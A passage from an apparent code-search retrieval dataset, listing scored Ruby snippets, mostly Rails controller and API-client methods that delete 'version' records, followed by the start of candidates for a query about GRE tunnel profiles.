"docid": "9f45a9f167e2b14aefc5db116759242f",
"score": "0.7379865",
"text": "def destroy\n @version = @page.versions.find_by_version(params[:id])\n @version.destroy\n\n respond_to do |format|\n format.html { redirect_to(big_cms_page_versions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "82365820ceca5e34336ae1600bd3cc76",
"score": "0.73716664",
"text": "def destroy\n @version = Version.find(params[:id])\n @version.destroy\n\n respond_to do |format|\n format.html { redirect_to versions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b6e952a2d76ae9ecdebd82de9ae09342",
"score": "0.7369932",
"text": "def destroy\n @version = Version.find(params[:id])\n @version.destroy\n\n respond_to do |format|\n format.html { redirect_to versions_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "af125dfcc568deb403f336c90fc200b7",
"score": "0.7366696",
"text": "def destroy\n executable = Executable.find_by_version(params[:id])\n if executable != nil\n executable.jar.purge\n executable.delete\n render json: {status: \"Version deleted\"}\n else\n render json: {status: \"Unknown version\"}, status: 400\n end\n end",
"title": ""
},
{
"docid": "538b599adce8d1a20bdf0043fba801e6",
"score": "0.736214",
"text": "def destroy\n\t\t@version = @product.versions.find params[:id]\n @version.destroy\n\n respond_to do |format|\n format.html { redirect_to(versions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "9f459080145ff6804d6b2cf9cffba224",
"score": "0.7352764",
"text": "def destroy\n @version.destroy\n respond_with @version\n end",
"title": ""
},
{
"docid": "aeb9d42159d8e9f1d896367d87d93358",
"score": "0.73328835",
"text": "def destroy\n @admin_version = Admin::Version.find(params[:id])\n #@admin_version.destroy\n\n respond_to do |format|\n if @admin_version.update_attributes(deleted_at: Time.now)\n format.html { redirect_to admin_versions_url, notice: 'Version was successfully deleted.' }\n format.json { head :ok }\n else\n format.html { render action: \"delete\" }\n format.json { render json: @admin_version.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "ea226bd8a9557efb1d146a0401ecd098",
"score": "0.73278743",
"text": "def __delete_version(data)\n data.delete(self.class::VERSION_MEMBER.to_sym)\n end",
"title": ""
},
{
"docid": "771cb8e62f9de65cc52a1836c6bac85e",
"score": "0.73011714",
"text": "def destroy_version\n @cookbook = Cookbook.with_name(params[:cookbook]).first!\n @cookbook_version = @cookbook.get_version!(params[:version])\n\n begin\n authorize! @cookbook, :destroy?\n raise VersionMustExist if @cookbook.cookbook_versions.count == 1\n rescue VersionMustExist\n error({ error_code: t(\"api.error_codes.conflict\"),\n error_messages: [t(\"api.error_messages.only_cookbook_version\")],\n error: t(\"api.error_messages.only_cookbook_version\") },\n 409)\n rescue Pundit::NotAuthorizedError\n error({}, 403)\n else\n @cookbook_version.destroy\n UniverseCache.flush\n end\n end",
"title": ""
},
{
"docid": "538d671c833e366f95d478ba98fd5ab5",
"score": "0.72953594",
"text": "def delete(name, version, options = {})\n options = options.reverse_merge(purge: false)\n url = \"#{self.class.resource_path}/#{name}/#{version}\"\n url += \"?purge=true\" if options[:purge]\n\n request(:delete, url)\n true\n rescue AbortError => ex\n return nil if ex.cause.is_a?(Errors::HTTPNotFound)\n abort(ex.cause)\n end",
"title": ""
},
{
"docid": "9774e55769eb2187819fca0b68697cbd",
"score": "0.727685",
"text": "def delete_version version\n return unless File.exist?( directory + version )\n raise VersionIsCurrent.new if version == CURRENT\n raise VersionIsCurrent.new if (directory + CURRENT).realpath == (directory+version).realpath\n FileUtils.rm_rf( directory + version )\n end",
"title": ""
},
{
"docid": "cca30dd13e5091f6c6dd12f1e5e5b6cc",
"score": "0.72764474",
"text": "def destroy\n authorize @version\n @version.destroy\n respond_to do |format|\n format.html { redirect_to versions_url, notice: t('version.destroy.confirmation') }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "004a241d9f7bb4d66549959a27098228",
"score": "0.7273801",
"text": "def destroy\n @app_version = @app.app_versions.find(params[:id])\n @app_version.destroy\n\n respond_to do |format|\n format.html { redirect_to(@app) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "4a21726cde9e0a1a061c3fd5077c38a2",
"score": "0.724906",
"text": "def delete_aos_version_box(args = {}) \n delete(\"/aosversions.json/aosversionbox/#{args[:aosVersionBoxId]}\", args)\nend",
"title": ""
},
{
"docid": "2cc167dfb420f809148d95d340d117ae",
"score": "0.72386444",
"text": "def delete(client, name, version, options = {})\n options = options.reverse_merge(purge: false)\n url = \"#{self.resource_path}/#{name}/#{version}\"\n url += \"?purge=true\" if options[:purge]\n\n client.connection.delete(url).body\n true\n rescue Errors::HTTPNotFound\n true\n end",
"title": ""
},
{
"docid": "659dcbd8b16a45788e0377e5285a8edd",
"score": "0.7190551",
"text": "def destroy\n @version.destroy\n respond_to do |format|\n format.html { redirect_to versions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "728450b89dc36bcf123e63d4a4d8384e",
"score": "0.71692467",
"text": "def destroy\n @app_version = AppVersion.find(params[:id])\n @app_version.destroy\n\n respond_to do |format|\n format.html { redirect_to app_versions_url }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6dd67af33dbf7627c48626ee9ff6a349",
"score": "0.71231496",
"text": "def delete_version(options)\n #versions = ActiveRecord::SchemaMigration.where(:version => version.to_s)\n version = options[:version]\n new_data = SchemaMigration.schema_migration_hash[\"db\"][\"schema_migrations\"].delete_if{|o| o[\"version\"] == version.to_s}\n hsh = {:db=>{:schema_migrations => new_data } }\n f = schema_migration_file\n f.puts hsh.to_json\n f.close\n end",
"title": ""
},
{
"docid": "98a69811fb15ed6f2c9da473c2f1033b",
"score": "0.7083967",
"text": "def destroy\n if admin?\n @version.destroy\n respond_to do |format|\n format.html { redirect_to versions_url, notice: 'Version was successfully destroyed.' }\n format.json { head :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "170db5ad426cc57b1a594b471aef5363",
"score": "0.7072152",
"text": "def yank_version(name, version, options = {})\n ensure_ready!(:authorization)\n url = \"gems/#{escape(name)}/versions/#{escape(version)}\"\n response = connection.delete(url, options)\n checked_response_body(response)\n end",
"title": ""
},
{
"docid": "27c108a55b4a871b15e9a6ffca2bf47b",
"score": "0.706009",
"text": "def delete_version_click\n delete_version.click\n end",
"title": ""
},
{
"docid": "3511e47ba6817d87e9770e3dd2b8dce2",
"score": "0.7043602",
"text": "def destroy\n @migrate_version = MigrateVersion.find(params[:id])\n @migrate_version.destroy\n\n respond_to do |format|\n format.html { redirect_to migrate_versions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cf554ffd86a4ad1006b2319e03171ed5",
"score": "0.703982",
"text": "def destroy\n @version.destroy\n respond_to do |format|\n format.html { redirect_to versions_url, notice: 'Version was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cf554ffd86a4ad1006b2319e03171ed5",
"score": "0.703982",
"text": "def destroy\n @version.destroy\n respond_to do |format|\n format.html { redirect_to versions_url, notice: 'Version was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cf554ffd86a4ad1006b2319e03171ed5",
"score": "0.703982",
"text": "def destroy\n @version.destroy\n respond_to do |format|\n format.html { redirect_to versions_url, notice: 'Version was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "cf554ffd86a4ad1006b2319e03171ed5",
"score": "0.703982",
"text": "def destroy\n @version.destroy\n respond_to do |format|\n format.html { redirect_to versions_url, notice: 'Version was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "d8b8357e0bbfef214bc873c73afd56b1",
"score": "0.7028265",
"text": "def destroy\n @version.destroy\n respond_to do |format|\n format.html { redirect_to update_apk_versions_path(@update_apk), notice: 'Version was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "88ebc839594d8d1a27afa823f1c4a0c1",
"score": "0.70128936",
"text": "def destroy\n @version.destroy\n respond_to do |format|\n format.html { redirect_to versions_url, notice: \"Version was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ca33d924f6439299c764b8353b56f5b9",
"score": "0.7010016",
"text": "def box_version_provider_delete(username:, name:, version:, provider:)\n request(method: :delete, path: \"/box/#{username}/#{name}/version/#{version}/provider/#{provider}\")\n end",
"title": ""
},
{
"docid": "7c8dddc4b779023c85cbd23373a19782",
"score": "0.70007515",
"text": "def destroy\n @api_version = ApiVersion.find(params[:id])\n @api_version.destroy\n\n respond_to do |format|\n format.html { redirect_to(api_versions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "bb15df12a968bbd11165445b1358df1c",
"score": "0.69976604",
"text": "def destroy\n @app_version.destroy\n respond_to do |format|\n format.html { redirect_to app_versions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ea5fec752ed4a5bb84465de8b5fa24b6",
"score": "0.6997366",
"text": "def destroy\n @work_version = Work::Version.find(params[:id])\n @work_version.destroy\n\n respond_to do |format|\n format.html { redirect_to work_versions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4712cadd2760654cede287d74b924e70",
"score": "0.6987513",
"text": "def remove(options = {})\n self.class.remove(version_key, options)\n end",
"title": ""
},
{
"docid": "dd32ea7bf5f905cb0cebf54d8506eae0",
"score": "0.69783574",
"text": "def destroy\n @base_version.destroy\n respond_to do |format|\n format.html { redirect_to base_versions_url, notice: 'Base version was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "4c2cea3e98adc3a39b48716eae9effdb",
"score": "0.6977619",
"text": "def destroy\n authorize! :manage, @version, :message => \"Access denied.\"\n @version.destroy\n respond_to do |format|\n format.html { redirect_to product_version_url , notice: 'Version was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6e3e969dec3f8c201dc1eedfec65aed5",
"score": "0.69546044",
"text": "def remove_seeded_version version\n return unless version and (version.to_i > 0)\n ActiveRecord::Base.connection.execute(\"DELETE FROM `#{Germinator::VERSION_2_TABLE_NAME}` WHERE `version`='#{version.to_s}'\")\n end",
"title": ""
},
{
"docid": "8ddf7e94fd3f020ea1eb7c44c2db8abc",
"score": "0.6947936",
"text": "def delete_release(project_slug, version)\n delete(\"/projects/#{@default_org_slug}/#{project_slug}/releases/#{version}/\")\n end",
"title": ""
},
{
"docid": "9defebcf88620bc66fc3b41a2eb8c67c",
"score": "0.6935083",
"text": "def destroy\n @version = Version.find(params[:id])\n authorize! :destroy, @version\n \n # Verify user can view this version. Must be in his product\n authorize_product!(@version.product)\n \n # Only destroy a version if it is in use.\n if ( Assignment.where(:version_id => @version.id).count > 0 )\n\t redirect_to(versions_url, :flash => {:warning => \"Can not delete version. Version is in use.\"} )\n\t elsif ( Report.where(:version_id => @version.id).count > 0 )\n\t redirect_to(versions_url, :flash => {:warning => \"Can not delete version. Version is in use.\"} )\n\t else\n @version.destroy\n \n respond_to do |format|\n format.html { redirect_to(versions_url) }\n end\n end\n end",
"title": ""
},
{
"docid": "e201287788088f3de47a8bc34fac10a3",
"score": "0.69080424",
"text": "def destroy\n @software = Software.find(params[:software_id])\n @version = @software.versions.find(params[:id])\n @version.destroy\n\n respond_to do |format|\n format.html { redirect_to software_path(@software) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "918db70cea1dd387d43c307e7f4dfb8d",
"score": "0.69018084",
"text": "def destroy\n @version_so.destroy\n respond_to do |format|\n format.html { redirect_to version_sos_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fed689d0c60af9e750ce5212d334b31d",
"score": "0.6892702",
"text": "def destroy\n @page_version = PageVersion.find(params[:id])\n @page_version.destroy\n\n respond_to do |format|\n format.html { redirect_to page_versions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "fdd5507bf3f0f4a8d37b3d73a033275b",
"score": "0.6838556",
"text": "def destroy\n @ver = Ver.find(params[:id])\n @ver.destroy\n\n respond_to do |format|\n format.html { redirect_to(vers_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "d13075be1496aff19889c1686ae4c4f5",
"score": "0.680545",
"text": "def destroy\n @os_version.destroy\n respond_to do |format|\n format.html { redirect_to os_versions_url, notice: 'Os version was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ab40527139259262de48dfeb298e885f",
"score": "0.6800067",
"text": "def remove_version(method)\n return unless version_cache.wanted_version_number\n version_obj.send(method)\n end",
"title": ""
},
{
"docid": "f71778ce019c3f18ae7ffff8ef18a886",
"score": "0.6774055",
"text": "def destroy\n @product_version = ProductVersion.find(params[:id])\n @product_version.destroy\n\n respond_to do |format|\n format.html { redirect_to(product_versions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "6753a36098af85bf5c7c3bcf70a329d1",
"score": "0.6773131",
"text": "def destroy\n @mobile_app = MobileApp.find(@version.mobile_app_id)\n if(@mobile_app.user_id.equal? current_user.id)\n mobile_app_id = @version.mobile_app_id.to_s\n versionPath = Rails.root.join('versions').join(current_user.id.to_s).join(@version.mobile_app.title).join(@version.description) \n FileUtils.rm_rf(versionPath)\n @version.destroy\n respond_to do |format|\n format.html { redirect_to versions_url + \"/\" + @version.mobile_app_id.to_s, notice: 'Version eliminada exitosamente.' }\n format.json { head :no_content }\n end\n end\n end",
"title": ""
},
{
"docid": "a7f00de5f21b98d1c89d955452e30710",
"score": "0.6753183",
"text": "def admin_destroyversion\n \t@version = Version.find(params[:version_id])\n authorize @version.phase.dmptemplate\n \t@phase = @version.phase\n @version.destroy\n respond_to do |format|\n format.html { redirect_to admin_phase_dmptemplate_path(@phase), notice: I18n.t('org_admin.templates.destroyed_message') }\n end\n\tend",
"title": ""
},
{
"docid": "f736dd5a98e318e754f0f27c18f8c356",
"score": "0.6739389",
"text": "def destroy\r\n respond_to do |format|\r\n if @version.docflow.first_version.id != @version.id && @version.destroy\r\n flash[:error] = @version.errors.full_messages.join(\"<br>\").html_safe if @version.errors.any?\r\n format.html { redirect_to(@version.docflow.last_version, :notice => l(:label_docflow_version_deleted)) }\r\n format.xml { head :ok }\r\n else\r\n flash[:error] = l(:label_docflow_version_delete_failed)\r\n format.html { redirect_to(@version.docflow.last_version) }\r\n format.xml { render :xml => @version.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"title": ""
},
{
"docid": "6842327ee86b45edd81a62bfb5c2c7e3",
"score": "0.6724451",
"text": "def forget_version(version)\n DeleteVersionQuery.new(id: version.id).execute\n @applied_versions = nil\n end",
"title": ""
},
{
"docid": "eea38ba520884150777ecc1460fe4832",
"score": "0.6720894",
"text": "def version=(newversion)\t\n destroy\n create\n end",
"title": ""
},
{
"docid": "4bd1e3bb8c402ef762420b180d51ed42",
"score": "0.67142385",
"text": "def destroy\n @document_version = DocumentVersion.find(params[:id])\n @document_version.destroy\n\n respond_to do |format|\n format.html { redirect_to document_versions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a3628fcf9433ebec2e0234ce2bd5fd34",
"score": "0.6712847",
"text": "def destroy\n @version = Version.find(params[:id])\n @section = @version.section\n @version.destroy\n\n respond_to do |format|\n format.html { redirect_to article_section_path(@section.article, @section) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "a643c94ebbba7510464dcd593cd41c9e",
"score": "0.67096984",
"text": "def destroy\n @youversion.destroy\n respond_to do |format|\n format.html { redirect_to youversions_url, notice: 'Youversion was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e590c7110b6f04ad5a9d2ad56bfe78be",
"score": "0.6698704",
"text": "def destroy\n @version_use = VersionUse.find(params[:id])\n @version_use.destroy\n\n respond_to do |format|\n format.html { redirect_to(version_uses_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "dedc8f75352c5c1686a7a56bbe22ebeb",
"score": "0.667814",
"text": "def destroy\n @project = Project.find(params[:project_id])\n @version = Version.find(params[:id])\n @version.destroy\n\n respond_to do |format|\n format.html { redirect_to @project }\n format.json { head :ok }\n end\n end",
"title": ""
},
{
"docid": "aee5fee44d1b106c7285f20caf9c32b0",
"score": "0.6674474",
"text": "def destroy\n # @config_version = ConfigVersion.find(params[:id])\n# @config_version.destroy\n\n# respond_to do |format|\n# format.html { redirect_to(config_versions_url) }\n# format.xml { head :ok }\n# end\n end",
"title": ""
},
{
"docid": "6f666e742b01912dd4a0fa8c4eaf11fd",
"score": "0.6661021",
"text": "def delete_versionless(pod)\n # Potentially delete the pod.\n undeleted_version_count = pod.versions.count { |version| !version.deleted? }\n if undeleted_version_count.zero?\n pod.update(:deleted => true)\n end\n end",
"title": ""
},
{
"docid": "44674a2d8e31b28ede6b0d8edfff421e",
"score": "0.6659401",
"text": "def destroy!\n freeze\n \n result = JSON.parse(RestClient.delete(File.join(uri, \"?rev=#{ rev }\")))\n \n result[\"ok\"]\n end",
"title": ""
},
{
"docid": "93358c3b19cb0f1e112ecfd1b9eb6ca8",
"score": "0.66349834",
"text": "def destroy\n @version_control.destroy\n\n head :no_content\n end",
"title": ""
},
{
"docid": "d80a0656f25d28a45c00e9e583566f7f",
"score": "0.6634501",
"text": "def delete_api_version request_pb, options = nil\n raise ::ArgumentError, \"request must be provided\" if request_pb.nil?\n\n verb, uri, query_string_params, body = ServiceStub.transcode_delete_api_version_request request_pb\n query_string_params = if query_string_params.any?\n query_string_params.to_h { |p| p.split \"=\", 2 }\n else\n {}\n end\n\n response = @client_stub.make_http_request(\n verb,\n uri: uri,\n body: body || \"\",\n params: query_string_params,\n options: options\n )\n operation = ::Gapic::Rest::TransportOperation.new response\n result = ::Google::Protobuf::Empty.decode_json response.body, ignore_unknown_fields: true\n\n yield result, operation if block_given?\n result\n end",
"title": ""
},
{
"docid": "ff57a0a74d7b3801820bb8c4eda39404",
"score": "0.6629222",
"text": "def delete_entity(container, id, version = nil)\n url = get_request_url(container, id)\n delete(url, version)\n end",
"title": ""
},
{
"docid": "44ecf1440b0714b5c0b45407fdb7b6e4",
"score": "0.66291237",
"text": "def destroy\n @document_version = DocumentVersion.find(params[:id])\n @document_version.destroy\n\n respond_to do |format|\n format.html { redirect_to(document_versions_url) }\n format.xml { head :ok }\n end\n end",
"title": ""
},
{
"docid": "3a6a6a4b4e4594247be4dbcdeddd9ba4",
"score": "0.66237795",
"text": "def delete_fix_version(ticket, version)\n version_re = Regexp.new(Regexp.escape(version))\n ticket_obj = @jira_client.Issue.find(ticket)\n cur_fix_versions = ticket_obj.fields['fixVersions']\n # If our fix version is not there, no-op. Otherwise, we will be sending out\n # unnecessary e-mail notifications.\n return true unless cur_fix_versions.find { |fix_version| fix_version['name'] =~ version_re }\n\n ticket_obj.save!({\n \"fields\" => {\n \"fixVersions\" => cur_fix_versions.reject { |fix_version| fix_version['name'] =~ version_re }\n }\n })\nend",
"title": ""
},
{
"docid": "1da2568b6d4169d38c72a664b7d1b9c8",
"score": "0.66224664",
"text": "def destroy\n @release_version.destroy\n respond_to do |format|\n format.html { redirect_to release_versions_url, notice: 'Release version was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "8f03d4986d07ab9b3558dffe0b27fcb7",
"score": "0.6606344",
"text": "def destroy\n resource.destroy\n respond_to do |format|\n format.html { redirect_to return_to_path_or(dashboard_path), notice: 'The in-progress version was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "6dd848d57d7f29b018323ae32d0beb67",
"score": "0.65773314",
"text": "def destroy\n @app_version.destroy\n respond_to do |format|\n format.html { redirect_to \"/projects/#{@app_version.project_id}/app_versions/\", notice: 'App version was successfully deleted.' }\n format.mobile { redirect_to \"/projects/#{@app_version.project_id}/app_versions/\", notice: 'App version was successfully deleted.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "49b21b42393679440ff4417a79fd8b8f",
"score": "0.65764934",
"text": "def destroy\n @chia_version.destroy\n respond_to do |format|\n format.html { redirect_to chia_data_chia_versions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b99ba944b530bc76a3064684dd324d9c",
"score": "0.65738225",
"text": "def delete_vcl(name)\n hash = fetcher.client.delete(\"#{Version.put_path(self)}/vcl/#{name}\")\n hash.nil? ? nil : hash\n end",
"title": ""
},
{
"docid": "a27d02212de6aada6f21cd393752e027",
"score": "0.6569897",
"text": "def destroy\n @document_version = DocumentVersion.find(params[:id])\n @document_version.destroy\n\n respond_to do |format|\n format.html { redirect_to document_path(@document_version.document_id) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "44ddcdde92d1c7a90b80e41aa8317ba9",
"score": "0.65674657",
"text": "def destroy\n @ruby_version.destroy\n respond_to do |format|\n format.html { redirect_to ruby_versions_url, notice: 'Ruby version was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "04cb0a823a254082b3103adc935d3c0e",
"score": "0.6567174",
"text": "def destroy\n versions.remove\n record.invalidate_history! if record.history == self\n end",
"title": ""
},
{
"docid": "0824ade80ddf1c9ae92bf321cc10b215",
"score": "0.6552534",
"text": "def destroy\n authorize! :destroy, @package_version\n @package_version.destroy\n respond_to do |format|\n format.html { redirect_to package_versions_url, notice: 'package_versions was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "b45d81061beaa96c6abd2bf344ca4b84",
"score": "0.65299195",
"text": "def destroy(options = {})\n requires :directory, :key\n attributes[:body] = nil if options['versionId'] == version\n service.delete_object(directory.key, key, options)\n true\n end",
"title": ""
},
{
"docid": "830703f3ef9eb599481171cff43f76df",
"score": "0.65084696",
"text": "def destroy \n @versioned_file.destroy\n head :no_content\n end",
"title": ""
},
{
"docid": "d92ea9668c3ed22f7f42da835543d285",
"score": "0.6502097",
"text": "def destroy\n @chia_version = @chia_version_detectable.chia_version\n @chia_version_detectable.destroy\n respond_to do |format|\n format.html { redirect_to chia_data_chia_version_url(@chia_version) }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "83bd33be65a1d6e3430b00b282de3a8d",
"score": "0.6498595",
"text": "def destroy\n @form_version.destroy\n\n respond_to do |format|\n format.js { render (:update) {|page| page[dom_id_nested(:item, @form_version)].remove() } }\n end\n end",
"title": ""
},
{
"docid": "88bdb4c389e134535d7c80164be2eee0",
"score": "0.6484142",
"text": "def production_delete(params = {})\n params = params.dup\n production_id = search_hash!(params, :production_id, :productionId, :productionid, :id)\n production_version = search_hash!(params, :production_version, :productionVersion, :productionversion, :version) || 'HEAD'\n #e_tag = search_hash!(params, :e_tag, :ETag, :eTag, :etag)\n #delete(\"content/ea/git/productions/#{production_id}/HEAD.v1.json\", { 'If-Match' => e_tag })\n http_delete(\"content/ea/git/productions/#{production_id}/#{production_version}.v1.json\")\n http.success?\n end",
"title": ""
},
{
"docid": "beeb76a4a648d1b025b20b996b8ed373",
"score": "0.6480145",
"text": "def delete_with_all_versions\n if self.class.instance_variable_get('@versionable') && self.is_current_version\n self.versions.delete_all\n end\n delete_without_all_versions\n end",
"title": ""
},
{
"docid": "be581bc80c809e708c0a6426760870f6",
"score": "0.6474009",
"text": "def remove(name, version)\n log.debug \"#{self} removing (#{name}, #{version})\"\n cache.remove(name, version)\n end",
"title": ""
},
{
"docid": "4d38ce98ee6d4ace9d7329979e2ab718",
"score": "0.6471288",
"text": "def delete_command(args)\n id = args.pop\n \n return if !global_parameters_load(args)\n\n begin\n doc = Vuzit::Document.destroy(id)\n puts \"DELETED: #{id}\"\n rescue Vuzit::ClientException => ex\n error \"Error occurred: #{ex.code}, #{ex.message}\" \n end\nend",
"title": ""
},
{
"docid": "f633d7ed4daec2e9f1cbdeceec4b4983",
"score": "0.64681184",
"text": "def destroy\n @version.destroy\n redirect_to versions_url\n # respond_to do |format|\n # format.html { redirect_to versions_url, notice: 'Version was successfully destroyed.' }\n # end\n end",
"title": ""
},
{
"docid": "ff46341d71f9a00c00c6101479ceef0c",
"score": "0.6466265",
"text": "def rest_delete(path, options = {}, api_ver = @api_version)\n rest_api(:delete, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "ff46341d71f9a00c00c6101479ceef0c",
"score": "0.6466265",
"text": "def rest_delete(path, options = {}, api_ver = @api_version)\n rest_api(:delete, path, options, api_ver)\n end",
"title": ""
},
{
"docid": "151a9c6817683a3bb55bb362770fc1ec",
"score": "0.6456009",
"text": "def destroy\n @service_version.destroy\n respond_to do |format|\n format.html { redirect_to service_versions_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "845a9949ea4c5bee4c098fd679ea9721",
"score": "0.6448382",
"text": "def delete_application_version(application_name, version_label, delete_source_bundle = nil)\n options = {\n 'ApplicationName' => application_name,\n 'VersionLabel' => version_label\n }\n options['DeleteSourceBundle'] = delete_source_bundle unless delete_source_bundle.nil?\n\n request({\n 'Operation' => 'DeleteApplicationVersion',\n :parser => Fog::Parsers::AWS::ElasticBeanstalk::Empty.new\n }.merge(options))\n end",
"title": ""
},
{
"docid": "37b9488e87ab39cff3aaaae9fe847715",
"score": "0.6446797",
"text": "def delete(path, opts={})\n h = { :path => path, :version => -1 }.merge(opts)\n rv = call_and_check_rc(:delete, h)\n opts[:callback] ? rv : nil\n end",
"title": ""
},
{
"docid": "e690ed31611e14de86e6c3d6094da349",
"score": "0.64390993",
"text": "def delete_branch_version(branch_version)\n latest = branch_version.latest?\n branch = branch_version.latest? ? branch_version.branch : nil\n deleted = branch_version.delete\n if latest\n new_head_branch_version = BranchVersion.find_latest_for_branch(branch)\n if new_head_branch_version\n PactBroker::Versions::BranchHead.new(branch: branch, branch_version: new_head_branch_version).upsert\n end\n end\n deleted\n end",
"title": ""
},
{
"docid": "bef543106f8aa259d78015507f5b2403",
"score": "0.6435662",
"text": "def destroy\n @version_comment = VersionComment.find(params[:id])\n @version_comment.destroy\n\n respond_to do |format|\n format.html { redirect_to version_comments_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "ec88841d3a49ad545b88584a95b3f0da",
"score": "0.6428518",
"text": "def delete(url, version = nil)\n req = Net::HTTP::Delete.new(url)\n req.content_type = 'application/x-ssds+xml'\n \n if(!version.nil?)\n req['if-match'] = version;\n end\n \n req.basic_auth @username, @password\n execute_request(req)\n end",
"title": ""
},
{
"docid": "4f455cf8290ba69a539ad7b6b7c2ee72",
"score": "0.64260256",
"text": "def destroy\n @author_site_version.destroy\n respond_to do |format|\n format.html { redirect_to author_site_versions_url, notice: 'Site version was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "33782ff1bb074ddf656d115e5a47c94c",
"score": "0.6421677",
"text": "def destroy\n \n begin\n destroy_item(Instance, params[:id], params[:lock_version])\n render :response => :DELETE\n rescue Exception => e\n @error = process_exception(e)\n render :response => :error\n end\n end",
"title": ""
},
{
"docid": "c1206b465192c1a9f174c9d682d95c83",
"score": "0.6417739",
"text": "def delete\n require 'freeswitch_event'\n result = FreeswitchAPI.execute('vm_delete', \"#{self.username}@#{self.domain} #{self.uuid}\");\n end",
"title": ""
}
] |
18fe79012a8a2387e3f67d5b78b0984e
|
Gets the existing GRE tunnel profile from which this set of GRE profile inherits its unspecified attribute values.
|
[
{
"docid": "7d7196fe9a623cf9b55f6df324855983",
"score": "0.45664713",
"text": "def default_profile\n super\n end",
"title": ""
}
] |
[
{
"docid": "f6c08489cbc91587b1ec1d44b39c8c85",
"score": "0.59480774",
"text": "def profile\n @profile ||= GATEWAY.get_profile_details(self.profile_id) unless profile_id.nil?\n end",
"title": ""
},
{
"docid": "095061162d8a8970bab4f2768fb16919",
"score": "0.5709531",
"text": "def profile\n @property[:profile]\n end",
"title": ""
},
{
"docid": "aa074d55d9841859ce2ad55c8fb07289",
"score": "0.567939",
"text": "def profile\n @profile ||= Profile.find_for_uid_and_network(self.uid, self.provider)\n end",
"title": ""
},
{
"docid": "a36f560880a7d8c81807e69e6f6ed16d",
"score": "0.54579765",
"text": "def mvp_profile\n owned_profiles.last\n end",
"title": ""
},
{
"docid": "40541b66f4b08eb432cf8439908c6430",
"score": "0.54547584",
"text": "def _profile\n @link['profile']\n end",
"title": ""
},
{
"docid": "b5e51c99b0c69716d7fcbd529264ce2a",
"score": "0.53512824",
"text": "def profile; Profile.get(self.profile_id); end",
"title": ""
},
{
"docid": "2cd75b05c4f252a33bc63f7783239852",
"score": "0.52551675",
"text": "def firewall_profile_private\n return @firewall_profile_private\n end",
"title": ""
},
{
"docid": "1e37af2016977536e4cd8799dc252d5a",
"score": "0.52241725",
"text": "def extract_profile(args)\n return args.shift if args.first.is_a?(Management::Profile)\n return args.pop if args.last.is_a?(Management::Profile)\n profile\n end",
"title": ""
},
{
"docid": "398d869306bf8314404e969953047152",
"score": "0.5186492",
"text": "def profile\n @profile ||= repository_profile\n end",
"title": ""
},
{
"docid": "14d475ba1bfe14627720f3b65587964c",
"score": "0.51813775",
"text": "def team_profiles\n profiles.reject { |p| p == profile }\n end",
"title": ""
},
{
"docid": "c526baf27d6879c028629e1fa2c60029",
"score": "0.5155995",
"text": "def profile\n threaded[:profile] ||= Profile.load\n end",
"title": ""
},
{
"docid": "c526baf27d6879c028629e1fa2c60029",
"score": "0.5155995",
"text": "def profile\n threaded[:profile] ||= Profile.load\n end",
"title": ""
},
{
"docid": "5960e31b059614fe80fd98b6a1ad25bf",
"score": "0.5125913",
"text": "def get_profile\n self.class.get '/members/private', @options\n end",
"title": ""
},
{
"docid": "947e11601932a7545984619d362a5407",
"score": "0.5071842",
